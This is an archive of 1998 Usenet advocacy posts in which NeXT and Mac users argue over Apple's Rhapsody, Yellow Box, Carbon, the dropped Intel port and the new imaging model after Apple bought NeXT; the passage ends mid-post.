Date: 17 May 1998 14:43:05 GMT
Organization: P & L Systems
Message-ID: <6jmt1p$1cc$55@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news>
<ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162>
<ericb-1505981818400001@132.236.171.104> <see-below-1505982119100001@209.24.241.97>
<355DABCF.B1FC5A7E@milestonerdl.com>
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In <355DABCF.B1FC5A7E@milestonerdl.com> M Rassbach wrote:
> > The cross-platform picture is _integral_ to Apple's long term plans.
> > Having Yellow Box for Windows is critical to it succeeding.
>
> Given:1) The lack of people who signed onto NeXT development
> 2) The creation of Carbon to give the developers who didn't want to move to
> YellowBox
> 3) The lack of a 'shipping product.' (Given the OpenSTEP base, and it
shipped this
> is a hard one to stand on)
> 4) The announcement of MacOS X, instead of Rhapsody being the end OS
> 5) Apple killing off anything that might reduce Macintosh sales
> 6) (can you guess? :-)
>
> This list could go on for a while longer, past WWDC technologies that went
no-where,
> cancelled products, yadda, yadda.
>
> Is there any wonder why the jumping to YellowBox hasn't happened? What is
the
> publicly demonstrated FUTURE of YellowBox? As long as there's a MacOS, it
would
> appear that YellowBox will be supported.
>
In all of this prattle, you've forgotten WebObjects, which is based on
YellowBox, which has been enhanced significantly since last WWDC, and which
is a shipping product. On Windows NT.
Apple has a number of *major* high-profile WebObjects customers.
mmalc.
From: David Dougherty & Megan Smith <dsmithd@erols.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sun, 17 May 1998 11:04:25 -0400
Organization: Erol's Internet Services
Message-ID: <355EFC75.4652@erols.com>
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Rex Riley wrote:
>
>
> What we _all_, including myself, may be missing here as the BIG story at WWDC
> is the deliberate act of Apple distancing itself from Windows.
>
> -r
I think you’re dead on target.
I've been following the desire of some to get Apple to
publicly commit to Win98/NT5, and I don't think that
much more is coming out of Apple than has been mentioned by now.
1. I think Jobs wanted to keep the PR focus on keeping the Mac
developers at home. He seems very intent on not diluting the immediate
overall message. "Focus is about . . ." And on promising too much too
soon, "Set reasonable expectations and beat them." The immediate need
to keep Mac developers from straying is much more important than
something that's already settled.
2. From the begining of his tenure ten months ago when he settled out
of court the Microsoft patent infringments, got Microsoft's commitment
to continue Office on Mac, and the $120? $150? million investment in
Apple, Apple has been very reticent to aggresively push Rhapsody's
Windows cross-platform programming capabilities. After all, do you
really want to purposely aggravate THAT leviathon? I don't know what
it was, but it feels like some 'understanding' was reached. Maybe the
dropping of development on Rhapsody for Intel had something to do with
this? Of course, that might be just a matter of not having enough
resources.
3. If there's to be any 'bait and switch', I think Steve wants to
position Rhapsody as a harmless (to Microsoft) enterprise OS and,
AT THE RIGHT MOMENT, to reveal it as the NT killer it is.
Even Jobs at his most reckless knows that that time is not now.
Thus, no WinNT announcement for several months, and no fireworks when
it happens, and no serious push of Windows cross-platform powers for a
couple years.
But I could be wrong.
I would love to hear ya’ll’s take on this.
(Trolls ignored like spam)
David Dougherty
dsmithd@erols.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 14:55:24 GMT
Organization: P & L Systems
Message-ID: <6jmtos$1cc$56@ironhorse.plsys.co.uk>
References: <355C8A93.F71D9C6D@spamtoNull.com> <B181EB86-C00BD@206.165.43.138>
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In <B181EB86-C00BD@206.165.43.138> "Lawson English" wrote:
> There are quite a few problems with this solution, but the main one is that
> it isn't GX.
>
Many people regard this as a bonus.
> For instance, for our unified imaging model, we now have PDF. PDF files
> aren't really designed for interactive graphics or editing. For instance,
> how many of you have actually looked at the contents of an acrobat file? It
> ain't pretty.
>
So? Have you looked into the contents of an Excel file? It ain't pretty
either, but it gets the job done. And really rather well.
> OTOH, the GX picture shape provides ALL of the functionality of PDF (in
> this context) and it IS designed to be edited easily, although not directly
> via a text-editor, I'll admit.
>
So GX files ain't pretty to look at either?
> What Apple has done with this new imaging model is provide the minimalist
> solution that is "industry standard and cross-platform."
>
And the bad news?
> And, since GX picture shapes are well structured, it is easy to translate
> them directly into PDF or any other format.
>
Note the requirement to translate.
[...]
> I mean, really. The moral, ethical and technical poverty of this move is
> appalling: in one swoop they have abandoned ALL backwards compatibility
> with every 68K owner (unless they are using Acrobat to view the files, but
> not edit them), and have abandoned years of research and development on the
> most powerful 2D graphics library ever made available license-free (GX) ot
> 3rd-party developers.
>
Oh no, how truly awful. It sounds just like the hurricane lamp I have at
home. Years of research went into developing it so the paraffin would burn
just right, and I'd get controllable luminescence. Now they've replaced them
with these wretched light bulbs, which you can only switch on or off, and you
can't get wicks for love nor money.
mmalc.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
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References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>
<6jm0l9$k8a$1@crib.bevc.blacksburg.va.us>
Message-ID: <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com>
Date: Sun, 17 May 1998 15:13:11 GMT
NNTP-Posting-Date: Sun, 17 May 1998 08:13:11 PDT
Organization: @Home Network
In <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
>
> > What we _all_, including myself, may be missing here as the BIG story at
WWDC
> > is the deliberate act of Apple distancing itself from Windows.
>
> What leads you to believe that?
>
I wasn't at WWDC so I'm only sniffing the fumes here at csna, but isn't
Rhapsody1.0 promised and due for delivery? Is there promise for Rhapsody2.0?
Rhapsody for Intel is a nice choice for people comfortable with Wintel
hardware. MacOSX is promised 1999? Is there a promise of MacOSX for Intel?
Can you point me to a nice cross-platform strategy for Intel using MacOSX?
If DOJ's suit .vs. MS goes down... distance might keep Apple _clean_ in
consumer's eyes. Call it a prophylactic :-)
-r
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 17 May 1998 15:09:45 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6jmujp$e60$2@sun27.hrz.tu-darmstadt.de>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
drifterusa@sprintmail.com (John Bauer) wrote:
>It does seem, in a way, that Jobs is finally making that next-generation
>Mac he sought by founding NeXT. But do NeXT watchers view this as a bad
>thing? The hardware is not as sleek, the UI not as pretty. Are the
>compromises that go with appealing to a consumer market worth it for the
>possibility of the technology flourishing? Or is the technology doomed
>anyway if the native OS won't run on Windows machines?
Oh, the heck. Were it not for the Apple purchase, OPENSTEP would have
died a slowly dead, whether they'd managed to sell it or not. And
wrt. Rhapsody becoming a hardware specific operating system, heck,
I couldn't care less. It was hardware dependent in the days of the
black hardware and I was a Very Happy Camper, thank you very much.
If you look at the new Powerbooks and the iMac, I think that Apple
may have some more interesting, sleek hardware designs coming up..
Back in black? Why not.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 15:03:26 GMT
Organization: P & L Systems
Message-ID: <6jmu7u$1cc$57@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
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In <355E123D.1939DF29@milestonerdl.com> M Rassbach wrote:
> mmalcolm crawford wrote:
>
> > In <355C787A.2B058D89@milestonerdl.com> M Rassbach wrote:
> > > Apple comming out with a press release stating the plan to support NT
5.x
> > would
> > > put an end to it.
> > Actions speak louder than words:
>
> And silence while your competitors are laying out a plan, then executing
the plan
> is good just how?
>
It means if your competitors screw something up, you're not held to their
mistakes.
> When your company has a negative track record with deploying technology,
and you
> need to improve this record, why not:
>
Assuming we're talking about Rhapsody:
> 1) Announce you are going to do something
>
Yup, Apple did that.
> 2) Start doing it
>
Yup, Apple did that.
> 3) Announce the beta shipments
>
Yup, Apple did that.
> 4) Ship the beta
>
Yup, Apple did that.
> 5) Announce a delivery date. (and be conservative...)
>
Yup, Apple did that (not too conservative, though).
> 6) Meet the delivery date...or even make it eairler.
>
It looks like Apple will do that too. The one failing thus far is that they
didn't release Premier. They've skipped this and gone straight to Unified in
the timescale they originally planned. They deserve some criticism for this,
however I can understand why they did it.
> > In <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> Mike Paquette wrote:
> > > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> > > for Windows works on Windows 98 Release Candidates and the Windows NT
> > > 5.0 beta.
>
> Can anyone point to a quicktime movie of this with a time index?
>
Umm, Mike Paquette is a senior YB engineer at Apple.
Look, I've offered this bet elsewhere, and you haven't responded (that I've
seen); I'll extend it now to Windows NT 5.0 (whenever that ships).
I'll lay down $100 to say that YellowBox runs on NT5.0 within a year of
Micro$oft shipping it.
Do you have the courage of your convictions, or are you just a troll?
Put up or shut up.
mmalc.
Date: Sun, 17 May 1998 11:27:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-1705981127210001@elk85.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <joe.ragosta-1705980743310001@elk61.dol.net> <355EDED8.23B8E3E0@milestonerdl.com>
In article <355EDED8.23B8E3E0@milestonerdl.com>, mark@milestonerdl.com wrote:
> Joe Ragosta wrote:
>
> > > Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> > > session. I asked the question, I got the answer. There will be NO
> > > Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
> > Please provide the exact wording and the point of time in the tape where
> > this statement was made.
>
> Joe,
>
> Why not spend the whopping $10 and just BUY the tape?
>
> Or, is cheap another word that describes you.
>
So I'm cheap because I don't spend money on what you want me to spend
money on? Who do you think you are--Microsoft?
I just asked for the exact wording. No one has provided it yet.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: By the way, Next is dead also....
Date: 17 May 1998 15:24:13 GMT
Organization: P & L Systems
Message-ID: <6jmvet$1cc$58@ironhorse.plsys.co.uk>
References: <Y9h71.255$RA.867020@news.rdc1.nj.home.com>
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In <Y9h71.255$RA.867020@news.rdc1.nj.home.com> "Chris Van Buskirk" wrote:
> Well, I have nosing around this group for awhile, and am very happy
> that apple has extended apple developers the carbon APIs.
>
As an ex-NeXT developer, so am I.
> Finally, the next generation MacOs is back in the hands of apple
> developers.
>
Was it ever out of their hands? If you think so, why?
> Frankly, I really don't want my future on the Macintosh developed by
> those who do nothing but bitch and whine like children.
>
I'm not too bothered, provided they come up with the goods -- there are a lot
of ex-NeXT folks here who have a positive outlook, there are also those who
bitch and whine, but generally they're producing something. I'm sure the
same is true of the Mac camp.
Somehow, though you seem to be overlooking the malconents in the Mac camp --
Lawson English comes to mind...
> I hate the UI!
>
A lot of Mac folks said that about NEXTSTEP... Your point?
> Everything Yellow!
>
What's the problem there? Apple still champions it as the API of the future.
> I can't live without DPS!
>
Strawman: the primary argument in favour of DPS is pragmatism: it's there, it
works very well.
> No Intel!
>
I think it would be a bad move if Apple dropped support for Intel -- after
all, the most widely-used platform there is, which would gain them entree
into a large number of corporations where the hardware purchase strategy is
clearly fixed. Your argument in favour of dropping it?
> Adobe Sucks!
>
????
> I think you people would have real compelling arguments, if you just
> developed something! The only applications I hear, are those that
> were already developed for Next before the buyout.
>
So why should we produce anything else if we've already got all the bases
covered?
The primary complaint is that so few Mac developers have announced apps
(although a number have).
> Not one major announcement of a new product for yellow box!
>
Whose fault is this? NeXT folk are already producing apps...
Again, though, there have been a number of announcements from Mac developers
(Helios, Stalker, Casady & Green...). Maybe you haven't been paying
attention? Or it would spoil your argument.
> This is why the carbon APIs are here,
>
The Carbon APIs are here to enable *existing* MacOS applications to be ported
to the new OS. This is a Good Thing. I fully support that, it gives MacOS
developers an equal chance on Rhapsody/MacOX X.
However you're complaining about lack of new applications. Do you expect
*new* applications to be announced which will be developed using Carbon.
Apple is encouraging new development to use YellowBox.
> and should be always on top of apple's API development strategy.
>
Until such time as everyone has ported to YB...
> I know you won't miss me.
>
Absolutely: the SNR rose again just after you left.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Followup-To: comp.sys.next.advocacy,comp.sys.next.software
Date: 17 May 1998 15:31:17 GMT
Organization: P & L Systems
Message-ID: <6jmvs5$1cc$59@ironhorse.plsys.co.uk>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <355CC6E3.F30A0812@nstar.net>
<6jij29$dq6$5@news.seicom.net> <Et0nDE.Ixo@abulafia.in-berlin.de>
<6jivae$1ju$1@camel19.mindspring.com> <355D25A7.F4617E84@unet.univie.ac.at>
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NOTE: FOLLOWUPS TO COMP.SYS.NEXT.ADVOCACY,COMP.SYS.NEXT.SOFTWARE
(please don't crosspost to misc)
In <355D25A7.F4617E84@unet.univie.ac.at> Christian Benesch wrote:
> Just curious:
> How are chances for third parties to reintroduce NXHosting, with the new
> display system, technically?
>
Very good: Jordan Dea-Mattson (Apple) stated explicitly that hooks to allow
this would be put in place.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 17 May 1998 15:43:48 GMT
Organization: P & L Systems
Message-ID: <6jn0jk$1cc$60@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net>
<nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us>
<6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com>
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In <355B3D6F.63A9F50A@milestonerdl.com> M Rassbach wrote:
> > Just out of curiousity, How vaporously close to release is NT5?
> > Also, Since NT 5 is reported to have more than 14 million lines of NEW
> > code, how fast do you think it will be adopted?
>
> The same way NT 3.51-> NT 4 happened.
>
You mean really slowly...
> 1) A slew of 'new' technologies, only one or 2 will actually matter
> 2) Stop bug-fixing
>
??!!
> 3) Only NT 5 will support hardware X. (where X is something sexy AGP is
an
> example)
>
You didn't say when it would ship...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 1998 15:48:21 GMT
Organization: P & L Systems
Message-ID: <6jn0s5$1cc$61@ironhorse.plsys.co.uk>
References: <kwaltd-ya02408000R1605981229210001@enews.newsguy.com> <B1834FED-9CF5@206.165.43.149>
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In <B1834FED-9CF5@206.165.43.149> "Lawson English" wrote:
> Contrast that with GX's far simpler picture format:
>
> picture
> ...
> shape
> shape
> ...
>
> etc.
>
> What could be easier for extracting graphics and text and manipulating it
> and reinserting it at the same layer in the image?
>
PGML
Which is likely also to be supported.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 1998 15:49:48 GMT
Organization: P & L Systems
Message-ID: <6jn0us$1cc$62@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <6j857s$1cc$4@ironhorse.plsys.co.uk>
<ericb-1505981749450001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1505981749450001@132.236.171.104> Eric Bennett wrote:
> How about this instead:
>
> "Due to limited developer adoption to date, Carbon will not support
Carbon."
>
Nope, I couldn't find that in the book -- do you have a page number?
mmalc.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 12:17:58 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1705981218060001@192.168.0.3>
References: <nagleEt2BBL.Irx@netcom.com> <B18491F7-22984@158.152.49.144>
In article <B18491F7-22984@158.152.49.144>, "Ian Betteridge"
<ianb@well.com> wrote:
:PDF is also becoming increasingly popular as the file format for the
:publishing and prepress industries, the aim being to get rid of the hideous
:nightmare of sending Quark documents and EPS files to a bureau. In that
:context - which is, after all, Apple's biggest remaining market - native
:PDF support makes a lot of sense.
Native PDF support does not require that it be used as the standard
clipboard format. An option to output PDFs in the printing architecture
would probably suffice. An easily editable, extensible, and
Apple-controlled stream format would be much nicer and more useful, IMO.
-Eric
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 17 May 1998 12:24:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn2vo$p7a$1@crib.bevc.blacksburg.va.us>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com> <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us> <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com>
In article <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> In <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> > In article <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com wrote:
> > > What we _all_, including myself, may be missing here as the BIG story at
> > > WWDC is the deliberate act of Apple distancing itself from Windows.
> > What leads you to believe that?
> I wasn't at WWDC so I'm only sniffing the fumes here at csna, but isn't
> Rhapsody1.0 promised and due for delivery? Is there promise for Rhapsody2.0?
> Rhapsody for Intel is a nice choice for people comfortable with Wintel
> hardware. MacOSX is promised 1999? Is there a promise of MacOSX for Intel?
> Can you point me to a nice cross-platform strategy for Intel using MacOSX?
I agree with you with the Intel stuff. (I was worried about that..
I figured that they would have given it more time to sink or swim before
killing it to gauge market demand..) But I'd like to point out that
there is an enormous difference between "Apple distancing itself from
Windows" and "Apple distancing itself from an OS offering on Intel".
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 16:11:52 GMT
Organization: P & L Systems
Message-ID: <6jn288$1cc$64@ironhorse.plsys.co.uk>
References: <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129>
<6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net>
<6jj834$bvb$1@crib.bevc.blacksburg.va.us>
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In <6jj834$bvb$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> I would like to know if you can make the entire top-level menu bar
> vertical.. probably not..
>
I'm happy to report you're wrong. :-)
(To my surprise too, to be honest.)
But the menu bar acros the top remains in situ as well.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 16:14:41 GMT
Organization: P & L Systems
Message-ID: <6jn2dh$1cc$65@ironhorse.plsys.co.uk>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<355c8423.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <355c8423.0@206.25.228.5> John Kheit wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > In <355bc985.0@206.25.228.5> John Kheit wrote:
> > > OK, I couldn't hold back a second longer. GOSH THAT FREAKIN
> > > UI SUCKS BIG BOGON SCOOPS. Ah, I feel much better now.
> > >
> > Actually you get used to it. Again, it's how it feels that's
> > important.
>
> True. But I got used to win3.1. I got used to win95. I got used
> to a bunch of X UIs. I have no doubts about being able to get
> used to. Liking it is a different beast, at least to me. YMMV.
>
As Don indicated, my intention was to discriminate between look and feel. It
looks like MacOS, but to me it feels at least a bit like NEXTSTEP. It
doesn't feel completely like NEXTSTEP, there are some gotchas, but it's still
comfortable.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 16:07:59 GMT
Organization: P & L Systems
Message-ID: <6jn20v$1cc$63@ironhorse.plsys.co.uk>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
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In <6jhvgs$6sf$1@news.xmission.com> Don Yacktman wrote:
> mmalc didn't necessarily mean it in a bad way.
[...]
> With the themes/appearance manager stuff, I get the impression that there
> will be lots of room for customization of the look. As mmalc points out,
the
> "feel" is the hard part to get right.
>
Sometimes I wonder if I should officially appoint Don as my spokesperson and
interpreter -- he does a better job than I do anyway! :-)
Best wishes,
mmalc.
BTW: In case this is misinterpreted! yes, Don understood me just right.
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: By the way, Next is dead also....
Date: 17 May 1998 15:03:13 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jmu7h$199@ragnarok.en.uunet.de>
References: <Y9h71.255$RA.867020@news.rdc1.nj.home.com> <6jk8mi$b0m@ragnarok.en.uunet.de>
<355E0313.936ED4BA@nstar.net>
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"Michael J. Peck" wrote:
> Ah, clash of the titans.
Right on, Brother Peck.
> > > the next generation MacOs is back in the hands of apple developers.
> >
> > That's the bad news.
>
> Why not come right out and say that you despise the original MacOS
> developers? I'm sure they won't take any offense. Oh, you did.
No, I didn't, and I don't. The original MacOS was a marvelous piece
of engineering, considering the time/space constraints under which
the original team had to work. I *do* despise the fact that I'm supposed
to believe that the same breed of supposedly world class programmers and
UI designers who worked on the MacOS for the last, say, 5 years are now
able to 'see the light' and actually understand what the real deal is
when it comes to OS design, scalability and multi-(user/tasking/threading)
issues.
> What's going on, here? You agree with "Everything Yellow!", but claim
> that the Carbon APIs are good news?
Yes. And that's not even a contradiction! Ain't I grand.
> You say you can live without DPS, but you agree with "No Intel!"?
I oversaw the 'No Intel' bit! I confess! I consider this 'bit' a
fundamental mistake, and I don't seem to be alone.
> Oh, custom apps and shit, right? Likewise, the traditional Mac is used
Right.
> everywhere else, where YB basically need not apply (home, education,
> scientific, etc), because everybody is using shrinkwrap stuff for some
> reason (something about not being able to afford in-house development,
> no matter how nice the widgets are).
In case you haven't noticed, the Mac has largely lost its place in
home, education or science. You might want to check out the market
numbers for the rest of the world.
> > Just where would Apple be without these fine individuals today?
>
> Right...
>
> Envelope one: blame it on your predecessors
> Envelope two: reorganize the company, change the vision
> Envelope three: prepare three envelopes
>
> Steve's got the first two covered.
Maybe. Meanwhile, computing continues to suck, and Apple doesn't seem
to want to be able or willing to advance the status quo. Maybe they
should prepare some more envelopes. Make them one color only.
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 16:11:24 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jn27c$199@ragnarok.en.uunet.de>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
<199805161935311708461@sdn-ts-002txhousp06.dialsprint.net>
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John Bauer wrote:
> Holger Hoffstaette wrote:
> > Apple is not in the OS business? Right. Give me one of those G3s, but
> > please no OS - since you're not in the OS business, right? HELLO?
> > Has anybody of these 'managers' ever tried to get a PC without OS?
>
> More precisely, Apple doesn't make its money in the OS business. Apple
> (like most non-x86 computer vendors) sells hardware that uses an OS
There are not exactly many non-x86 mass-market computer vendors left.
> specifically designed for that hardware. The bulk of Apple's revenues
> and profits come from hardware sales. The OS adds value to Apple's main
> product, hardware. To sell an OS that does not run on Apple hardware is
> to add value to other companies' hardware while reducing the appeal
> (thus, revenues and profits) of Apple's own products.
No. In the wake of marketplace realities, the proprietary hardware
puts off more people than the alleged superority of the software
can bring back in. We're talking about consumers, and these go
with the flow.
> I don't know that I agree with Apple's stance, but I understand the
> rationale. I should think most NeXT users would as well, though as I
I definitely understand the rationale - that doesn't mean either I or
Apple should accept it! It is a *huge* loss of trust that Apple was on
the verge of regaining, BOTH in- and *outside* of their traditional
marketplace. They just wasted their best chance to not only sustain
their current not-quite-dead-yet status, but rather to grow, which
is impossible with a single-platform solution. Unless YB/Windows is
massively reengineered (the changes in the graphics layer at least
sound promising and like a good start) it won't bring in overwhelming
amounts of cash, either. You can't tell me that the maintainance of
a basically developed OS (including writing a bunch of drivers)
wouldn't be worth, say, 50 engineers (depending on need).
> understand it the last time Jobs was in this situation he killed the
> hardware to go Intel rather than killing the Intel port to go with
> hardware. I'll leave it to others to decide which is the better
> business plan (realizing, of course, that the particulars are quite
> different in many ways).
Considering that todays existing MacOS customer base is a bit larger,
he certainly did the right thing this time. The bad news is that he
*always* does only ONE thing, seemingly obsessed with one-shot
solutions to really subtle problems. Saying no because that's what it
means to 'focus' sounds great in a fireside chat, but it shure is
short sighted when you have both the (effective) responsibility for a
company like Apple and the means (resources, both financial and human)
to actually DO something about securing your future.
NeXT was way too constrained about the way they could step outside of
their established boundaries. If that is true for the Apple of 1998,
there's something seriously wrong with the way both Apple and the
computer industry work.
> As for IBM, what the hell are you talking about? If IBM *and Motorola*
I'm talking about lessons learned from history. PPC might be financially
viable for either IBM or Moto; it might even be indispensable. Motorola
has publicly admitted that they are going to shift future development
away from 'desktop processors' (whatever that means). Is it possible
to build future PPC lines only wih AltiVec cores? Is AS/400 portable
enough to be made available for Merced? Is AIX/PPC really the future of
UNIX at IBM, instead of Solaris/Merced?
I don't trust either IBM or Motorola. Neither should Apple.
> decide to drop chips currently essential to some of their product lines,
> I'm sure Apple will find a way around the problem. Who knows, they may
> even have the first Merced-compatible OS on the market.
Yeah, but what about the MacOS crown jewels, which are constantly
being emulated, rewritten, recompiled and patched?
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 14:37:07 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jmsmj$199@ragnarok.en.uunet.de>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114>
<355C9631.C99DEE0E@spamtoNull.com> <ericb-1505981805550001@132.236.171.104>
<see-below-1505982202520001@209.24.241.97> <6jk95l$b0m@ragnarok.en.uunet.de>
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John Bauer wrote:
> I fail to see what purpose is served by lacing your words with needless
> Mac bashing. (And if you hadn't noticed, Apple is being run by NeXT
> management now.)
I know. Unfortunately that still doesn't mean the troops are following,
which is Apple's 'core' problem, so to speak.
> Right now, Apple's top priority is increasing hardware sales, from which
> the company gets the bulk of its profits. Without those sales and
> profits, Apple, Macs and Yellow Box will all disappear. To boost
> hardware sales, Apple must show potential customers and developers that
> their main product, the Macintosh, has a long future. The best way to
> do this right now is by offering a Macintosh operating system that is as
> robust as other desktop OSes and which offers a full panoply of
> name-brand software which takes advantage of that robustness.
I couldn't agree more - honestly. I want Apple to thrive just as
(supposedly) everybody else here.
> (snip)
> At the same time, in the new OS Apple will bring the Yellow Box runtime
> along for the ride by placing it on *every new Mac owner's desktop,*
Great so far.
> something that looked to be years away in Apple's previous plan. If you
> regret that NeXT was ever purchased by Apple because plans for
> widespread adoption of NeXT technology have had to accommodate Apple's
> ailing financial condition, I suppose that's a valid complaint, although
> as far as I can tell, widespread adoption of NeXT technology didn't seem
> too promising in the first place before the merger. Now it looks to me
> like NeXT technology will be widely available in a couple of years.
.and here's the rub. By the time this 'yellow box thing' is widely
available, it will be almost irrelevant to anybody but Apple engineers,
as an easy way to pump up Java's weak spots. Basically, some kind of
internal library written in an internal language. That doesn't mean
it's not important! A better Java implementation (which is also available
